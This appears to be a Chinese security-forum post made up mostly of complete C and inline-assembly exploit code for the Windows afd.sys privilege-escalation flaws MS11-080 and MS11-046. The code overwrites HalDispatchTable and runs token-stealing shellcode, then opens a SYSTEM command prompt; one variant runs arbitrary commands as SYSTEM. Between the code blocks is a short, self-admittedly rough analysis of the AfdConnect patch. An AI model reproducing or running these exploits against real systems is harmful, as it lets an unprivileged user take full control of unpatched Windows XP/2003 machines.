拿着大牛写的代码自己弹CMD玩,多多包涵。。
/* * MS11-080 Afd.sys Privilege Escalation Exploit * 来源:Matteo Memelli,http://www.exploit-db.com/exploits/18176/ * 改编:KiDebug,Google@pku.edu.cn * 编译:VC6.0 * 测试环境:原版Windows XP SP3,Windows 2003 SP2,普通用户 */ #include <stdio.h> #include <Winsock2.h> #include <windows.h> #pragma comment (lib, "ws2_32.lib") typedef struct _RTL_PROCESS_MODULE_INFORMATION { HANDLE Section; // Not filled in PVOID MappedBase; PVOID ImageBase; ULONG ImageSize; ULONG Flags; USHORT LoadOrderIndex; USHORT InitOrderIndex; USHORT LoadCount; USHORT OffsetToFileName; UCHAR FullPathName[ 256 ]; } RTL_PROCESS_MODULE_INFORMATION, *PRTL_PROCESS_MODULE_INFORMATION; typedef struct _RTL_PROCESS_MODULES { ULONG NumberOfModules; RTL_PROCESS_MODULE_INFORMATION Modules[ 1 ]; } RTL_PROCESS_MODULES, *PRTL_PROCESS_MODULES; typedef ULONG ( __stdcall *NtQueryIntervalProfile_ ) ( ULONG, PULONG ); typedef ULONG ( __stdcall *NtQuerySystemInformation_ ) ( ULONG, PVOID, ULONG, PULONG ); typedef ULONG ( __stdcall *NtAllocateVirtualMemory_ ) ( HANDLE, PVOID, ULONG, PULONG, ULONG, ULONG ); NtQueryIntervalProfile_ NtQueryIntervalProfile; NtAllocateVirtualMemory_ NtAllocateVirtualMemory; NtQuerySystemInformation_ NtQuerySystemInformation; ULONG PsInitialSystemProcess, PsReferencePrimaryToken, PsGetThreadProcess, WriteToHalDispatchTable; void _declspec(naked) ShellCode() { __asm { pushad pushfd mov esi,PsReferencePrimaryToken FindTokenOffset: lodsb cmp al, 8Dh; jnz FindTokenOffset mov edi,[esi+1] mov esi,PsInitialSystemProcess mov esi,[esi] push fs:[124h] mov eax,PsGetThreadProcess call eax add esi, edi add edi, eax movsd popfd popad ret } } void main( ) { HMODULE ntdll = GetModuleHandle( "ntdll.dll" ); NtQueryIntervalProfile = (NtQueryIntervalProfile_)GetProcAddress( ntdll ,"NtQueryIntervalProfile" ); NtAllocateVirtualMemory = (NtAllocateVirtualMemory_)GetProcAddress( ntdll ,"NtAllocateVirtualMemory" ); NtQuerySystemInformation = ( NtQuerySystemInformation_ )GetProcAddress( ntdll ,"NtQuerySystemInformation" ); if ( NtQueryIntervalProfile == NULL || NtAllocateVirtualMemory == NULL || NtQuerySystemInformation == NULL ) return; ULONG BaseAddress = 1 , RegionSize = 0x1000, status; status = NtAllocateVirtualMemory( (HANDLE)0xFFFFFFFF, (PVOID*)&BaseAddress, 0, &RegionSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE ); if ( status ) return; //取ntoskrnl的信息,只要调用一次就行 ULONG NtoskrnlBase; RTL_PROCESS_MODULES module; status = NtQuerySystemInformation( 11, &module, sizeof(RTL_PROCESS_MODULES), NULL);//SystemModuleInformation 11 if ( status != 0xC0000004 ) //STATUS_INFO_LENGTH_MISMATCH return; NtoskrnlBase = (ULONG)module.Modules[0].ImageBase; //把ntoskrnl.exe加载进来 HMODULE ntoskrnl; ntoskrnl = LoadLibraryA( (LPCSTR)( module.Modules[0].FullPathName + module.Modules[0].OffsetToFileName ) ); if ( ntoskrnl == NULL ) return; //计算实际地址 WriteToHalDispatchTable = (ULONG)GetProcAddress(ntoskrnl,"HalDispatchTable") - (ULONG)ntoskrnl + NtoskrnlBase + 4 + 2; //需要覆盖的地址 PsInitialSystemProcess = (ULONG)GetProcAddress(ntoskrnl,"PsInitialSystemProcess") - (ULONG)ntoskrnl + NtoskrnlBase; PsReferencePrimaryToken = (ULONG)GetProcAddress(ntoskrnl,"PsReferencePrimaryToken") - (ULONG)ntoskrnl + NtoskrnlBase; PsGetThreadProcess = (ULONG)GetProcAddress(ntoskrnl,"PsGetThreadProcess") - (ULONG)ntoskrnl + NtoskrnlBase; //以下代码就各显神通了 if ( VirtualAlloc( (PVOID)0x02070000, 0x20000, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE ) == NULL ) return; memset((PVOID)0x02070000,0x90,0x20000); memcpy((PVOID)0x02080000,ShellCode,100); WSADATA ws; SOCKET tcp_socket; struct sockaddr_in peer; ULONG dwReturnSize; WSAStartup(0x0202,&ws); peer.sin_family = AF_INET; peer.sin_port = htons(4455); peer.sin_addr.s_addr = inet_addr( "127.0.0.1" ); tcp_socket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if ( connect(tcp_socket, (struct sockaddr*) &peer, sizeof(struct sockaddr_in)) ) { printf("connect error\n"); } UCHAR buf1[26]= "\x41\x41\x41\x41\x42\x42\x42\x42\x00\x00\x00\x00\x44\x44\x44\x44\x01\x00\x00\x00\xe8\x00\x34\xf0\x00"; memset((PVOID)0x1000,0x45,0x108); memcpy((PVOID)0x1000,buf1,25); if(!DeviceIoControl((HANDLE)tcp_socket,0x000120bb, (PVOID)0x1004, 0x108, (PVOID)WriteToHalDispatchTable, 0x0,&dwReturnSize, NULL)) { printf("error=%d\n", GetLastError()); } //触发,弹出SYSTEM的CMD NtQueryIntervalProfile( 2, &status ); ShellExecute( NULL, "open", "cmd.exe", NULL, NULL, SW_SHOW); return; }
/* * 触发MS11-046 * 来源:azy,http://hi.baidu.com/azy0922/blog/item/053065d197cebfca572c8492.html * 改编:KiDebug,Google@pku.edu.cn * 编译:VC6.0 * 测试环境:原版Windows XP SP3,Windows 2003 SP2,普通用户 */ #include <stdio.h> #include <Winsock2.h> #include <windows.h> #pragma comment (lib, "ws2_32.lib") typedef struct _RTL_PROCESS_MODULE_INFORMATION { HANDLE Section; // Not filled in PVOID MappedBase; PVOID ImageBase; ULONG ImageSize; ULONG Flags; USHORT LoadOrderIndex; USHORT InitOrderIndex; USHORT LoadCount; USHORT OffsetToFileName; UCHAR FullPathName[ 256 ]; } RTL_PROCESS_MODULE_INFORMATION, *PRTL_PROCESS_MODULE_INFORMATION; typedef struct _RTL_PROCESS_MODULES { ULONG NumberOfModules; RTL_PROCESS_MODULE_INFORMATION Modules[ 1 ]; } RTL_PROCESS_MODULES, *PRTL_PROCESS_MODULES; typedef ULONG ( __stdcall *NtQueryIntervalProfile_ ) ( ULONG, PULONG ); typedef ULONG ( __stdcall *NtQuerySystemInformation_ ) ( ULONG, PVOID, ULONG, PULONG ); typedef ULONG ( __stdcall *NtAllocateVirtualMemory_ ) ( HANDLE, PVOID, ULONG, PULONG, ULONG, ULONG ); NtQueryIntervalProfile_ NtQueryIntervalProfile; NtAllocateVirtualMemory_ NtAllocateVirtualMemory; NtQuerySystemInformation_ NtQuerySystemInformation; ULONG PsInitialSystemProcess, PsReferencePrimaryToken, PsGetThreadProcess, WriteToHalDispatchTable; void _declspec(naked) ShellCode() { __asm { pushad pushfd mov esi,PsReferencePrimaryToken FindTokenOffset: lodsb cmp al, 8Dh; jnz FindTokenOffset mov edi,[esi+1] mov esi,PsInitialSystemProcess mov esi,[esi] push fs:[124h] mov eax,PsGetThreadProcess call eax add esi, edi add edi, eax movsd popfd popad ret } } void main( ) { HMODULE ntdll = GetModuleHandle( "ntdll.dll" ); NtQueryIntervalProfile = (NtQueryIntervalProfile_)GetProcAddress( ntdll ,"NtQueryIntervalProfile" ); NtAllocateVirtualMemory = (NtAllocateVirtualMemory_)GetProcAddress( ntdll ,"NtAllocateVirtualMemory" ); NtQuerySystemInformation = ( NtQuerySystemInformation_ )GetProcAddress( ntdll ,"NtQuerySystemInformation" ); if ( NtQueryIntervalProfile == NULL || NtAllocateVirtualMemory == NULL || NtQuerySystemInformation == NULL ) return; //取ntoskrnl的信息,只要调用一次就行 ULONG status, NtoskrnlBase; RTL_PROCESS_MODULES module; status = NtQuerySystemInformation( 11, &module, sizeof(RTL_PROCESS_MODULES), NULL);//SystemModuleInformation 11 if ( status != 0xC0000004 ) //STATUS_INFO_LENGTH_MISMATCH return; NtoskrnlBase = (ULONG)module.Modules[0].ImageBase; //把ntoskrnl.exe加载进来 HMODULE ntoskrnl; ntoskrnl = LoadLibraryA( (LPCSTR)( module.Modules[0].FullPathName + module.Modules[0].OffsetToFileName ) ); if ( ntoskrnl == NULL ) return; //计算实际地址 WriteToHalDispatchTable = (ULONG)GetProcAddress(ntoskrnl,"HalDispatchTable") - (ULONG)ntoskrnl + NtoskrnlBase + 4 + 2; //需要覆盖的地址 PsInitialSystemProcess = (ULONG)GetProcAddress(ntoskrnl,"PsInitialSystemProcess") - (ULONG)ntoskrnl + NtoskrnlBase; PsReferencePrimaryToken = (ULONG)GetProcAddress(ntoskrnl,"PsReferencePrimaryToken") - (ULONG)ntoskrnl + NtoskrnlBase; PsGetThreadProcess = (ULONG)GetProcAddress(ntoskrnl,"PsGetThreadProcess") - (ULONG)ntoskrnl + NtoskrnlBase; //以下代码就各显神通了 if ( VirtualAlloc( (PVOID)0x02070000, 0x20000, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE ) == NULL ) return; memset((PVOID)0x02070000,0x90,0x20000); memcpy((PVOID)0x02080000,ShellCode,100); WSADATA ws; SOCKET tcp_socket; struct sockaddr_in peer; ULONG dwReturnSize; WSAStartup(0x0202,&ws); peer.sin_family = AF_INET; peer.sin_port = htons(0); peer.sin_addr.s_addr = inet_addr( "127.0.0.1" ); tcp_socket = socket(AF_INET, SOCK_STREAM, 0); if ( connect(tcp_socket, (struct sockaddr*) &peer, sizeof(struct sockaddr_in)) ) { printf("connect error\n"); } DWORD buf[0x30]; buf[3]=1; buf[4]=0x20; if(!DeviceIoControl((HANDLE)tcp_socket,0x12007, (PVOID)buf, 0x60, (PVOID)WriteToHalDispatchTable, 0x0,&dwReturnSize, NULL)) { printf("error=%d\n", GetLastError()); } //触发,弹出SYSTEM的CMD NtQueryIntervalProfile( 2, &status ); ShellExecute( NULL, "open", "cmd.exe", NULL, NULL, SW_SHOW); return; }
补丁补在了AfdConnect函数中,先看看没打补丁前的代码: PAGE:00013D41 loc_13D41: ; CODE XREF: AfdConnect(x,x)+1EE7 j
在上面两段代码处出现问题,如果将OutputBufferLength赋0,那么直接绕过地址检查。补丁后先判断UserBuffer是否为空。 看触发代码:(将0x804d8000改写为0xc0000207) <----------------------------------------------------------------------------------------------------------------------------- #include <stdio.h> #pragma comment (lib, "ws2_32.lib") DWORD buf[0x30]; int main( ) SOCKET tcp_socket; WSAStartup(0x0202,&ws); peer.sin_family = AF_INET; tcp_socket = socket(AF_INET, SOCK_STREAM, 0); if ( connect(tcp_socket, (struct sockaddr*) &peer, sizeof(struct sockaddr_in)) ) if(!DeviceIoControl((HANDLE)tcp_socket,0x12007, (PVOID)buf, 0x60, (PVOID)0x804d8000, 0x0,&dwReturnSize, NULL)) getch();
注:粗浅分析,可能有错 |
MS11080 自定义CMD命令执行功能的代码
* MS11-080 Afd.sys Privilege Escalation Exploit
* 来源:Matteo Memelli,[url]http://www.exploit-db.com/exploits/18176/[/url]
* 改编:KiDebug,[email]Google@pku.edu.cn[/email]
* 编译:VC6.0
* 测试环境:原版Windows XP SP3,Windows 2003 SP2,普通用户
*/
#include <stdio.h>
#include <Winsock2.h>
#include <winbase.h>
#include <windows.h>
#pragma comment (lib, "ws2_32.lib")
typedef struct _RTL_PROCESS_MODULE_INFORMATION {
HANDLE Section; // Not filled in
PVOID MappedBase;
PVOID ImageBase;
ULONG ImageSize;
ULONG Flags;
USHORT LoadOrderIndex;
USHORT InitOrderIndex;
USHORT LoadCount;
USHORT OffsetToFileName;
UCHAR FullPathName[ 256 ];
} RTL_PROCESS_MODULE_INFORMATION, *PRTL_PROCESS_MODULE_INFORMATION;
typedef struct _RTL_PROCESS_MODULES {
ULONG NumberOfModules;
RTL_PROCESS_MODULE_INFORMATION Modules[ 1 ];
} RTL_PROCESS_MODULES, *PRTL_PROCESS_MODULES;
typedef ULONG ( __stdcall *NtQueryIntervalProfile_ ) ( ULONG, PULONG );
typedef ULONG ( __stdcall *NtQuerySystemInformation_ ) ( ULONG, PVOID, ULONG, PULONG );
typedef ULONG ( __stdcall *NtAllocateVirtualMemory_ ) ( HANDLE, PVOID, ULONG, PULONG, ULONG, ULONG );
NtQueryIntervalProfile_ NtQueryIntervalProfile;
NtAllocateVirtualMemory_ NtAllocateVirtualMemory;
NtQuerySystemInformation_ NtQuerySystemInformation;
ULONG PsInitialSystemProcess, PsReferencePrimaryToken, PsGetThreadProcess, WriteToHalDispatchTable;
void _declspec(naked) ShellCode()
{
__asm
{
pushad
pushfd
mov esi,PsReferencePrimaryToken
FindTokenOffset:
lodsb
cmp al, 8Dh;
jnz FindTokenOffset
mov edi,[esi+1]
mov esi,PsInitialSystemProcess
mov esi,[esi]
push fs:[124h]
mov eax,PsGetThreadProcess
call eax
add esi, edi
add edi, eax
movsd
popfd
popad
ret
}
}
void main(int argc, char **argv)
{
if (argc != 3)
{
printf("--------------------------------------\n");
printf("Usage : ms11-080.exe cmd.exe Command \n");
exit(-1);
}
HMODULE ntdll = GetModuleHandle( "ntdll.dll" );
NtQueryIntervalProfile = (NtQueryIntervalProfile_)GetProcAddress( ntdll ,"NtQueryIntervalProfile" );
NtAllocateVirtualMemory = (NtAllocateVirtualMemory_)GetProcAddress( ntdll ,"NtAllocateVirtualMemory" );
NtQuerySystemInformation = ( NtQuerySystemInformation_ )GetProcAddress( ntdll ,"NtQuerySystemInformation" );
if ( NtQueryIntervalProfile == NULL || NtAllocateVirtualMemory == NULL || NtQuerySystemInformation == NULL )
return;
ULONG BaseAddress = 1 , RegionSize = 0x1000, status;
status = NtAllocateVirtualMemory( (HANDLE)0xFFFFFFFF, (PVOID*)&BaseAddress, 0, &RegionSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE );
if ( status )
return;
//取ntoskrnl的信息,只要调用一次就行
ULONG NtoskrnlBase;
RTL_PROCESS_MODULES module;
status = NtQuerySystemInformation( 11, &module, sizeof(RTL_PROCESS_MODULES), NULL);//SystemModuleInformation 11
if ( status != 0xC0000004 ) //STATUS_INFO_LENGTH_MISMATCH
return;
NtoskrnlBase = (ULONG)module.Modules[0].ImageBase;
//把ntoskrnl.exe加载进来
HMODULE ntoskrnl;
ntoskrnl = LoadLibraryA( (LPCSTR)( module.Modules[0].FullPathName + module.Modules[0].OffsetToFileName ) );
if ( ntoskrnl == NULL )
return;
//计算实际地址
WriteToHalDispatchTable = (ULONG)GetProcAddress(ntoskrnl,"HalDispatchTable") - (ULONG)ntoskrnl + NtoskrnlBase + 4 + 2; //需要覆盖的地址
PsInitialSystemProcess = (ULONG)GetProcAddress(ntoskrnl,"PsInitialSystemProcess") - (ULONG)ntoskrnl + NtoskrnlBase;
PsReferencePrimaryToken = (ULONG)GetProcAddress(ntoskrnl,"PsReferencePrimaryToken") - (ULONG)ntoskrnl + NtoskrnlBase;
PsGetThreadProcess = (ULONG)GetProcAddress(ntoskrnl,"PsGetThreadProcess") - (ULONG)ntoskrnl + NtoskrnlBase;
//以下代码就各显神通了
if ( VirtualAlloc( (PVOID)0x02070000, 0x20000, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE ) == NULL )
return;
memset((PVOID)0x02070000,0x90,0x20000);
memcpy((PVOID)0x02080000,ShellCode,100);
WSADATA ws;
SOCKET tcp_socket;
struct sockaddr_in peer;
ULONG dwReturnSize;
WSAStartup(0x0202,&ws);
peer.sin_family = AF_INET;
peer.sin_port = htons(4455);
peer.sin_addr.s_addr = inet_addr( "127.0.0.1" );
tcp_socket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if ( connect(tcp_socket, (struct sockaddr*) &peer, sizeof(struct sockaddr_in)) )
{
//printf("connect error\n");
}
UCHAR buf1[26]= "\x41\x41\x41\x41\x42\x42\x42\x42\x00\x00\x00\x00\x44\x44\x44\x44\x01\x00\x00\x00\xe8\x00\x34\xf0\x00";
memset((PVOID)0x1000,0x45,0x108);
memcpy((PVOID)0x1000,buf1,25);
if(!DeviceIoControl((HANDLE)tcp_socket,0x000120bb, (PVOID)0x1004, 0x108, (PVOID)WriteToHalDispatchTable, 0x0,&dwReturnSize, NULL))
{
//printf("error=%d\n", GetLastError());
}
//触发,弹出SYSTEM的CMD
NtQueryIntervalProfile( 2, &status );
printf("[>] ms11-080 Exploit\n");
printf("[>] by:Mer4en7y@90sec.org\n");
SECURITY_ATTRIBUTES sa;
HANDLE hWrite,hRead;
STARTUPINFO si;
PROCESS_INFORMATION pi;
char buf[4096];
DWORD dwReadBytes;
char lpcmd[256]={0};
ZeroMemory(buf,4096);
sa.bInheritHandle = TRUE;
sa.lpSecurityDescriptor = NULL;
sa.nLength = sizeof(SECURITY_ATTRIBUTES);
if(!CreatePipe(&hRead,&hWrite,&sa,0))
{
printf("[>] create pipe error\n");
}
si.cb = sizeof(STARTUPINFO);
GetStartupInfo(&si);
si.hStdError = hWrite;
si.hStdOutput = hWrite;
si.wShowWindow = SW_HIDE;
si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
strcat(lpcmd,"/c ");
strcat(lpcmd,argv[2]);
if(!CreateProcess(argv[1],lpcmd,NULL,NULL,TRUE,0,NULL,NULL,&si,&pi))
{
printf("[>] create porcess error\n");
}
CloseHandle(hWrite);
while(dwReadBytes!=0)
{
WriteFile(hWrite,"test1",6,&dwReadBytes,NULL);
ZeroMemory(buf,4096);
ReadFile(hRead,buf,4096,&dwReadBytes,NULL);
printf("%s\n",buf);
}
return;
}